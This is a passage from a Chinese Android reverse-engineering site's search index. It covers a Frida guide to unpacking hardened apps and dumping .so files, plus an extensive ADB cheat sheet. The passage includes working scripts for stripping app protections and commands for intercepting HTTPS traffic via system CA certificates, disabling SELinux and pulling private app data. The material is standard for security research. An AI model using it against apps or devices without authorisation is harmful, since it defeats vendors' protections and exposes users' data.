文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#理论基础"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:8:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#快速参考"},{"categories":null,"collections":null,"content":"脱壳工具对比 工具 类型 难度 特点 frida-dexdump 自动化 简单 简单，支持多版本 FRIDA-DEXDump 自动化 简单 深度搜索，更全面 手动脚本 定制 中等 灵活，适合特殊情况 objection 交互式 简单 多功能，含脱壳 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:8:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#脱壳工具对比"},{"categories":null,"collections":null,"content":"一键脱壳脚本 auto_unpack.sh： #!/bin/bash PACKAGE=$1 if [ -z \"$PACKAGE\" ]; then echo \"用法: $0 \u003cpackage_name\u003e\" exit 1 fi echo \"🔓 开始脱壳: $PACKAGE\" # 1. Dump DEX echo \"\" echo \"📦 导出 DEX 文件...\" python3 ~/tools/frida-dexdump/main.py -U -f $PACKAGE # 2. Dump SO echo \"\" echo \"📚 导出 SO 文件...\" frida -U -f $PACKAGE -l dump_all_so.js --no-pause sleep 5 # 3. 拉取文件 echo \"\" echo \"📥 拉取文件...\" adb pull /sdcard/*.dex . adb pull /sdcard/*.so . # 4. 清理 adb shell rm /sdcard/*.dex adb shell rm /sdcard/*.so echo \"\" echo \"✅ 完成! 文件已保存到当前目录\" ls -lh *.dex *.so ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:8:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#一键脱壳脚本"},{"categories":null,"collections":null,"content":"dump_all_so.js function dumpAllSo() { var modules = Process.enumerateModules(); console.log(\"[*] 找到 \" + modules.length + \" 个模块\"); modules.forEach(function (module) { // 只导出 .so 文件 if (!module.name.endsWith(\".so\")) { return; } // 排除系统库 if (module.path.startsWith(\"/system\") || module.path.startsWith(\"/apex\")) { return; } console.log(\"[+] 导出: \" + module.name); console.log(\" 路径: \" + module.path); console.log(\" 基址: \" + module.base); console.log(\" 大小: \" + module.size); try { var buffer = module.base.readByteArray(module.size); var fileName = \"/sdcard/\" + module.name; var file = new File(fileName, \"wb\"); file.write(buffer); file.close(); console.log(\" 已保存: \" + fileName); } catch (e) { console.log(\" 错误: \" + e); } }); console.log(\"[*] 完成!\"); } setImmediate(dumpAllSo); 💡 提示: 脱壳是一个反复试错的过程。如果一种方法不起作用，尝试其他方法或工具。大多数加固方案都可以通过 Frida 动态脱壳绕过。 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:8:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#dump_all_sojs"},{"categories":null,"collections":null,"content":"常用 ADB 命令大全 ADB (Android Debug Bridge) 是一个功能强大的命令行工具，可让您与模拟器实例或连接的 Android 设备进行通信。它是 Android 逆向工程中最基础也是最重要的工具之一。 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:0:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#常用-adb-命令大全"},{"categories":null,"collections":null,"content":"设备连接与管理 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:1:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#设备连接与管理"},{"categories":null,"collections":null,"content":"基本设备操作 命令 描述 adb devices 列出所有连接的设备 adb devices -l 列出所有连接的设备及其详细信息（型号、传输方式等） adb -s \u003c序列号\u003e \u003c命令\u003e 向指定设备发送命令（多设备时必须指定） adb -d \u003c命令\u003e 向唯一连接的 USB 设备发送命令 adb -e \u003c命令\u003e 向唯一运行的模拟器发送命令 adb kill-server 终止 ADB 服务器进程 adb start-server 启动 ADB 服务器进程 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:1:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#基本设备操作"},{"categories":null,"collections":null,"content":"无线调试 命令 描述 adb tcpip 5555 将设备 adbd 切换到 TCP 模式（端口 5555） adb connect \u003cIP\u003e:5555 通过 WiFi 连接到设备 adb disconnect \u003cIP\u003e:5555 断开指定的无线连接 adb disconnect 断开所有无线连接 adb pair \u003cIP\u003e:\u003c端口\u003e Android 11+ 无线配对（需要配对码） 无线调试步骤（传统方式）： USB 连接设备，确认 adb devices 可见 执行 adb tcpip 5555 查看设备 IP：adb shell ip addr show wlan0 拔掉 USB，执行 adb connect \u003c设备IP\u003e:5555 Android 11+ 无线调试： 设备开启 开发者选项 -\u003e 无线调试 点击 使用配对码配对设备，获取配对地址和配对码 电脑执行 adb pair \u003cIP\u003e:\u003c配对端口\u003e，输入配对码 配对成功后执行 adb connect \u003cIP\u003e:\u003c连接端口\u003e ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:1:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#无线调试"},{"categories":null,"collections":null,"content":"设备重启与信息 命令 描述 adb reboot 正常重启设备 adb reboot bootloader 重启到引导加载程序 (Bootloader/Fastboot) adb reboot recovery 重启到恢复模式 (Recovery) adb reboot sideload 重启到 Sideload 模式（用于刷机） adb root 以 root 权限重启 adbd 服务（仅 userdebug/eng 版本） adb unroot 以普通权限重启 adbd 服务 adb shell getprop ro.product.model 获取设备型号 adb shell getprop ro.build.version.release 获取 Android 系统版本 adb shell getprop ro.build.version.sdk 获取 SDK 版本（API Level） adb shell getprop ro.product.cpu.abi 获取 CPU 架构 adb shell getprop ro.debuggable 查看系统是否为可调试版本 adb shell wm size 获取屏幕分辨率 adb shell wm density 获取屏幕像素密度 (DPI) adb shell getprop 列出所有系统属性 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:1:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#设备重启与信息"},{"categories":null,"collections":null,"content":"应用管理 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:2:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#应用管理"},{"categories":null,"collections":null,"content":"安装与卸载 命令 描述 adb install \u003capk路径\u003e 安装应用 adb install -r \u003capk路径\u003e 重新安装应用（保留数据） adb install -t \u003capk路径\u003e 允许安装测试包（test-only APK） adb install -g \u003capk路径\u003e 安装并授予所有运行时权限 adb install -d \u003capk路径\u003e 允许降级安装（版本号更低） adb install-multiple \u003capk1\u003e \u003capk2\u003e 安装 Split APK（多个 APK 文件） adb uninstall \u003c包名\u003e 完全卸载应用 adb uninstall -k \u003c包名\u003e 卸载应用但保留数据和缓存 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:2:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#安装与卸载"},{"categories":null,"collections":null,"content":"包管理 (pm) 命令 描述 adb shell pm list packages 列出所有已安装的包名 adb shell pm list packages -f 列出所有包名及其 APK 路径 adb shell pm list packages -3 只列出第三方（用户安装的）应用 adb shell pm list packages -s 只列出系统应用 adb shell pm list packages \u003c关键词\u003e 按关键词过滤包名 adb shell pm path \u003c包名\u003e 获取指定应用的 APK 路径 adb shell pm dump \u003c包名\u003e 查看应用的完整信息 adb shell pm clear \u003c包名\u003e 清除应用所有数据和缓存 adb shell pm disable-user --user 0 \u003c包名\u003e 禁用应用（免 root 冻结） adb shell pm enable \u003c包名\u003e 启用被禁用的应用 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:2:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#包管理-pm"},{"categories":null,"collections":null,"content":"权限管理 命令 描述 adb shell pm grant \u003c包名\u003e \u003c权限\u003e 授予指定权限 adb shell pm revoke \u003c包名\u003e \u003c权限\u003e 撤销指定权限 adb shell pm list permissions -g 列出所有权限组 adb shell dumpsys package \u003c包名\u003e 查看应用详细信息（含已授权限） ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:2:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#权限管理"},{"categories":null,"collections":null,"content":"Activity 管理 (am) 命令 描述 adb shell am start -n \u003c包名\u003e/\u003cActivity\u003e 启动指定 Activity adb shell am start -D -n \u003c包名\u003e/\u003cActivity\u003e 以调试模式启动 Activity adb shell am start -a android.intent.action.VIEW -d \u003cURL\u003e 使用浏览器打开 URL adb shell am startservice -n \u003c包名\u003e/\u003cService\u003e 启动指定 Service adb shell am broadcast -a \u003caction\u003e 发送广播 adb shell am force-stop \u003c包名\u003e 强制停止应用 adb shell am set-debug-app -w \u003c包名\u003e 设为调试模式（启动时等待调试器） adb shell am clear-debug-app 清除调试应用设置 adb shell dumpsys activity top 查看当前 Activity 栈信息 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:2:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#activity-管理-am"},{"categories":null,"collections":null,"content":"文件传输 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:3:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#文件传输"},{"categories":null,"collections":null,"content":"基本操作 命令 描述 adb push \u003c本地路径\u003e \u003c远程路径\u003e 将文件/目录从电脑推送到设备 adb pull \u003c远程路径\u003e [本地路径] 将文件/目录从设备拉取到电脑 adb shell ls -la \u003c路径\u003e 列出文件详细信息（含权限、大小） adb shell cp \u003c源路径\u003e \u003c目标路径\u003e 在设备上复制文件 adb shell mv \u003c源路径\u003e \u003c目标路径\u003e 在设备上移动或重命名文件 adb shell rm \u003c文件路径\u003e 在设备上删除文件 adb shell mkdir -p \u003c路径\u003e 在设备上创建目录（含中间目录） adb shell chmod \u003c权限\u003e \u003c路径\u003e 修改文件权限 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:3:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#基本操作"},{"categories":null,"collections":null,"content":"逆向工程常用文件路径 路径 说明 /data/data/\u003c包名\u003e/ 应用私有数据目录 /data/data/\u003c包名\u003e/shared_prefs/ SharedPreferences（XML 配置文件） /data/data/\u003c包名\u003e/databases/ SQLite 数据库文件 /data/data/\u003c包名\u003e/cache/ 应用缓存目录 /data/data/\u003c包名\u003e/files/ 应用内部文件目录 /data/data/\u003c包名\u003e/lib/ 应用 Native 库（so 文件） /data/app/\u003c包名\u003e*/ APK 安装目录 /data/local/tmp/ 临时文件目录（所有用户可写） /sdcard/ 或 /storage/emulated/0/ 外部存储根目录 /sdcard/Android/data/\u003c包名\u003e/ 应用外部存储目录 /system/app/ 系统预装应用目录 /system/framework/ 系统框架 JAR 文件 /proc/\u003cPID\u003e/maps 进程内存映射 /proc/\u003cPID\u003e/status 进程状态信息 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:3:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#逆向工程常用文件路径"},{"categories":null,"collections":null,"content":"Shell 命令 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:4:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#shell-命令"},{"categories":null,"collections":null,"content":"dumpsys（系统服务信息） 命令 描述 dumpsys activity Activity 管理器状态 dumpsys package \u003c包名\u003e 应用详细信息（版本、权限、签名等） dumpsys meminfo \u003c包名\u003e 应用内存使用情况 dumpsys cpuinfo CPU 使用情况 dumpsys battery 电池状态信息 dumpsys wifi WiFi 状态信息 dumpsys window displays 屏幕显示信息 dumpsys netstats 网络流量统计 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:4:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#dumpsys系统服务信息"},{"categories":null,"collections":null,"content":"settings（系统设置） 命令 描述 settings list global 列出所有 global 命名空间设置 settings list secure 列出所有 secure 命名空间设置 settings get global http_proxy 获取当前 HTTP 代理设置 settings put global http_proxy \u003cIP\u003e:\u003c端口\u003e 设置全局 HTTP 代理 settings delete global http_proxy 删除全局 HTTP 代理 settings get secure android_id 获取 Android ID ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:4:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#settings系统设置"},{"categories":null,"collections":null,"content":"input（输入模拟） 命令 描述 input text '\u003c文本\u003e' 输入文本（不支持中文） input keyevent \u003c按键码\u003e 发送按键事件 input tap \u003cx\u003e \u003cy\u003e 模拟单击 input swipe \u003cx1\u003e \u003cy1\u003e \u003cx2\u003e \u003cy2\u003e [时长ms] 模拟滑动 input keyevent --longpress \u003c按键码\u003e 模拟长按 常用按键码： 按键码 说明 按键码 说明 3 HOME 4 BACK 24 音量+ 25 音量- 26 POWER 82 MENU 66 ENTER 67 DEL (退格) 187 APP_SWITCH 224 WAKEUP ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:4:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#input输入模拟"},{"categories":null,"collections":null,"content":"截屏与录屏 命令 描述 adb shell screencap /sdcard/screenshot.png 截屏保存到设备 adb exec-out screencap -p \u003e screenshot.png 截屏直接输出到电脑 adb shell screenrecord /sdcard/demo.mp4 录制屏幕视频（Ctrl+C 停止） adb shell screenrecord --time-limit 10 /sdcard/demo.mp4 录制 10 秒屏幕视频 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:4:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#截屏与录屏"},{"categories":null,"collections":null,"content":"日志与调试 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:5:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#日志与调试"},{"categories":null,"collections":null,"content":"Logcat 基础 命令 描述 adb logcat 实时打印设备日志 adb logcat -c 清除旧的日志缓存 adb logcat -d 输出当前日志到屏幕并退出 adb logcat -b \u003c缓冲区\u003e 查看指定缓冲区（main/system/crash/events） adb logcat -b all 查看所有日志缓冲区 adb logcat -v threadtime 显示日期、时间、PID、TID adb logcat -f /sdcard/log.txt 将日志输出到设备上的文件 adb logcat -t 100 只输出最近 100 条日志 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:5:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#logcat-基础"},{"categories":null,"collections":null,"content":"Logcat 过滤 命令 描述 adb logcat *:E 只显示 Error 及以上级别 adb logcat *:S \u003c标签\u003e:\u003c优先级\u003e 按标签和优先级过滤 adb logcat -s \u003c标签\u003e 只显示指定标签的日志 adb logcat --pid=\u003cPID\u003e 只显示指定进程的日志 日志优先级（由低到高）：V(Verbose) \u003c D(Debug) \u003c I(Info) \u003c W(Warning) \u003c E(Error) \u003c F(Fatal) \u003c S(Silent) 示例：adb logcat *:S MyApp:D 只显示 MyApp 标签 Debug 及以上日志；adb logcat --pid=$(adb shell pidof com.example.app) 按进程过滤。 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:5:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#logcat-过滤"},{"categories":null,"collections":null,"content":"崩溃与 ANR 分析 命令 描述 adb logcat -b crash 查看崩溃日志缓冲区 adb logcat -b crash -d 输出崩溃日志并退出 adb shell cat /data/anr/traces.txt 查看 ANR traces（需要 root） adb pull /data/anr/ 拉取所有 ANR trace 文件 adb bugreport \u003c输出路径\u003e 生成完整 Bug 报告 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:5:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#崩溃与-anr-分析"},{"categories":null,"collections":null,"content":"调试相关 命令 描述 adb jdwp 列出可调试的 Java 进程 PID adb forward tcp:\u003c本地端口\u003e jdwp:\u003cPID\u003e 转发 JDWP 调试端口 adb shell ps -A 列出所有进程 adb shell cat /proc/\u003cPID\u003e/maps 查看进程内存映射 adb shell top -n 1 查看 CPU/内存占用快照 adb shell strace -p \u003cPID\u003e 跟踪进程系统调用（需要 root） ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:5:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#调试相关"},{"categories":null,"collections":null,"content":"网络调试 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:6:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#网络调试"},{"categories":null,"collections":null,"content":"端口转发 命令 描述 adb forward tcp:\u003cPC端口\u003e tcp:\u003c设备端口\u003e PC 端口转发到设备端口 adb forward tcp:8080 localabstract:\u003csocket名\u003e 转发到设备抽象 Unix socket adb forward --list 列出所有端口转发规则 adb forward --remove-all 移除所有转发规则 adb reverse tcp:\u003c设备端口\u003e tcp:\u003cPC端口\u003e 反向转发：设备端口 -\u003e PC 端口 adb reverse --list 列出所有反向转发规则 adb reverse --remove-all 移除所有反向转发规则 正向转发 vs 反向转发： adb forward：PC 上访问某端口时，流量转发到设备。常用于连接设备上的调试服务。 adb reverse：设备上访问某端口时，流量转发到 PC。常用于让设备连接 PC 上的本地服务。 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:6:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#端口转发"},{"categories":null,"collections":null,"content":"抓包代理设置（Burp Suite / Charles） # 设置全局 HTTP 代理 adb shell settings put global http_proxy \u003cPC_IP\u003e:8080 # 查看当前代理设置 adb shell settings get global http_proxy # 删除全局代理 adb shell settings delete global http_proxy # 删除代理后重启网络使其生效 adb shell svc wifi disable \u0026\u0026 adb shell svc wifi enable 完整抓包步骤： PC 上启动 Burp Suite / Charles，监听 0.0.0.0:8080 设置设备代理：adb shell settings put global http_proxy \u003cPC_IP\u003e:8080 将 CA 证书推送到设备并安装（HTTPS 抓包需要） Android 7.0+ 需额外配置 network_security_config.xml 或 root 安装系统级证书 完成后清除代理：adb shell settings delete global http_proxy ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:6:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#抓包代理设置burp-suite--charles"},{"categories":null,"collections":null,"content":"网络状态 命令 描述 adb shell ip addr 查看 IP 地址信息 adb shell ip route 查看路由表 adb shell netstat -tlnp 查看监听的 TCP 端口 adb shell ping \u003c地址\u003e 测试网络连通性 adb shell svc wifi enable/disable 开启/关闭 WiFi adb shell svc data enable/disable 开启/关闭移动数据 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:6:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#网络状态"},{"categories":null,"collections":null,"content":"逆向工程常用组合 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#逆向工程常用组合"},{"categories":null,"collections":null,"content":"提取 APK # 通过 pm path 获取路径后 pull adb shell pm path com.example.app # 输出: package:/data/app/com.example.app-xxxx/base.apk adb pull /data/app/com.example.app-xxxx/base.apk ./app.apk # 一行命令提取 adb pull $(adb shell pm path com.example.app | sed 's/package://') ./app.apk ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#提取-apk"},{"categories":null,"collections":null,"content":"提取应用数据 # 需要 root 权限 adb pull /data/data/com.example.app/shared_prefs/ ./shared_prefs/ adb pull /data/data/com.example.app/databases/ ./databases/ # 无 root 时使用 run-as（仅限 debuggable 应用） adb shell run-as com.example.app cat databases/app.db \u003e app.db # 使用 adb backup（部分应用可能禁止备份） adb backup -f backup.ab -noapk com.example.app ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#提取应用数据"},{"categories":null,"collections":null,"content":"设置可调试模式 adb shell am set-debug-app -w com.example.app # 启动时等待调试器附加 adb shell su -c \"resetprop ro.debuggable 1\" # 修改属性（需 root + Magisk） adb shell su -c \"stop; start\" # 重启 zygote 使其生效 adb jdwp # 列出所有可调试进程 PID ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#设置可调试模式"},{"categories":null,"collections":null,"content":"安装系统级 CA 证书（HTTPS 抓包） # 需要 root，适用于 Android 7.0+ 抓取 HTTPS 流量 openssl x509 -inform DER -in cacert.der -out cacert.pem HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1) cp cacert.pem ${HASH}.0 adb push ${HASH}.0 /sdcard/ adb shell su -c \"mount -o rw,remount /system\" adb shell su -c \"cp /sdcard/${HASH}.0 /system/etc/security/cacerts/\" adb shell su -c \"chmod 644 /system/etc/security/cacerts/${HASH}.0\" adb shell su -c \"mount -o ro,remount /system\" adb reboot ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#安装系统级-ca-证书https-抓包"},{"categories":null,"collections":null,"content":"查看当前 Activity adb shell dumpsys activity activities | grep mResumedActivity # 当前前台 Activity adb shell dumpsys activity top | head -30 # Activity 完整信息 adb logcat -s ActivityManager:I | grep -E \"START|LAUNCH\" # 实时监控启动 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:7:5","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#查看当前-activity"},{"categories":null,"collections":null,"content":"Root 环境命令 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:8:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#root-环境命令"},{"categories":null,"collections":null,"content":"基本 Root 操作 命令 描述 adb shell su 在 adb shell 中获取 root 权限 adb shell su -c '\u003c命令\u003e' 以 root 身份执行单条命令 adb shell id 查看当前用户 UID/GID 信息 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:8:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#基本-root-操作"},{"categories":null,"collections":null,"content":"文件系统挂载 命令 描述 mount -o rw,remount /system 将 /system 重新挂载为可读写 mount -o ro,remount /system 将 /system 恢复为只读 mount -o rw,remount / 挂载根目录为可读写（Android 10+） cat /proc/mounts 查看所有已挂载的文件系统 注意：Android 10+ 使用动态分区和 system-as-root，/system 可能需要通过 Magisk overlay 方式修改。 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:8:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#文件系统挂载"},{"categories":null,"collections":null,"content":"SELinux 命令 命令 描述 getenforce 查看当前 SELinux 模式 setenforce 0 设置为 Permissive（宽容模式） setenforce 1 设置为 Enforcing（强制模式） dmesg | grep avc 查看 SELinux 拒绝日志 逆向工程中的 SELinux： Frida 附加进程等注入操作在 Enforcing 模式下常会失败 临时关闭：su -c \"setenforce 0\" 可解决大部分 SELinux 拦截问题 Magisk 通常自动处理 SELinux 策略，但某些操作可能仍需手动设置 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:8:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#selinux-命令"},{"categories":null,"collections":null,"content":"Magisk / KernelSU 命令 命令 描述 magisk -v 查看 Magisk 版本 magisk --denylist ls 列出 DenyList 中的应用 magisk --denylist add \u003c包名\u003e 将应用添加到 DenyList magisk --denylist rm \u003c包名\u003e 将应用从 DenyList 移除 magiskpolicy --live \"allow \u003c规则\u003e\" 动态添加 SELinux 策略 resetprop \u003c属性名\u003e \u003c值\u003e 修改系统属性（包括只读属性） resetprop --delete \u003c属性名\u003e 删除系统属性 ksud --version 查看 KernelSU 版本 ksud module list 列出 KernelSU 已安装的模块 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:8:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#magisk--kernelsu-命令"},{"categories":null,"collections":null,"content":"自动化脚本 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:9:0","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#自动化脚本"},{"categories":null,"collections":null,"content":"批量提取第三方 APK #!/bin/bash mkdir -p ./extracted_apks for pkg in $(adb shell pm list packages -3 | sed 's/package://'); do apk_path=$(adb shell pm path \"$pkg\" | sed 's/package://' | tr -d '\\r') echo \"[*] 提取: $pkg\" adb pull \"$apk_path\" \"./extracted_apks/${pkg}.apk\" 2\u003e/dev/null done ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:9:1","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 